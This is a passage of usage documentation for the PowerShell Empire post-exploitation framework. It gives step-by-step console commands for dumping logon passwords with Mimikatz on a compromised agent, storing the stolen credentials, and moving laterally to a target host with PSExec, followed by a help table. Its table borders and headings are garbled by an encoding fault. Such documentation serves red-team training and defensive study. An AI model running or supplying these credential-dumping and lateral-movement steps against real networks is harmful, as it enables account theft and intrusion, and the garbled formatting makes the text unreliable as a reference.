5. Module Usage
Executing Modules on Agentsβ
Mimikatz password dump exampleβ
(Empire) > usemodule credentials/mimikatz/logonpasswords
(Empire: credentials/mimikatz/logonpasswords) > set Agent <AGENT_NAME>
(Empire: credentials/mimikatz/logonpasswords) > execute
tip
Credentials extracted via credentials modules are stored within the credentials context menu of PowerShell-Empire.
You can also manually add credentials:
(Empire) > usecredential add
(Empire usecredential/add) > set credtype plaintext
(Empire usecredential/add) > set domain <DOMAIN>
(Empire usecredential/add) > set username <USERNAME>
(Empire usecredential/add) > set password <PASSWORD>
(Empire usecredential/add) > generate
Other modules may require credential to be passed to them via the CredID option.
PSExec lateral movement exampleβ
(Empire: <AGENT_NAME>) > usemodule lateral_movement/invoke_psexec
(Empire: lateral_movement/invoke_psexec) > set Listener http
(Empire: lateral_movement/invoke_psexec) > set CredID <CREDENTIAL_ID>
(Empire: lateral_movement/invoke_psexec) > set Target <TARGET_IP>
(Empire: lateral_movement/invoke_psexec) > execute
Help Menuβ
usemodule Help
(Empire: usemodule/****/****) > help
βHelp Optionsββββββββββββββββββββββββββββββββββββ¬ββββββββββββββββββββ
β Name β Description β Usage β
ββββββββββββΌβββββββββββββββββββββββββββββββββββββΌββββββββββββββββββββ€
β execute β Execute the selected module β execute β
ββββββββββββΌβββββββββββββββββββββββββββββββββββββΌββββββββββββββββββββ€
β generate β Execute the selected module β generate β
ββββββββββββΌβββββββββββββββββββββββββββββββββββββΌββββββββββββββββββββ€
β help β Display the help menu for the β help β
β β current menu β β
ββββββββββββΌβββββββββββββββββββββββββββββββββββββΌββββββββββββββββββββ€
β info β Print default info on the current β info β
β β record. β β
ββββββββββββΌβββββββββββββββββββββββββββββββββββββΌββββββββββββββββββββ€
β options β Print the current record options β options β
ββββββββββββΌβββββββββββββββββββββββ ββββββββββββββΌββββββββββββββββββββ€
β set β Set a field for the current record β set <key> <value> β
ββββββββββββΌβββββββββββββββββββββββββββββββββββββΌββββββββββββββββββββ€
β unset β Unset a record option. β unset <key> β
ββββββββββββ΄βββββββββββββββββββββββββββββββββββββ΄ββββββββββββββββββββ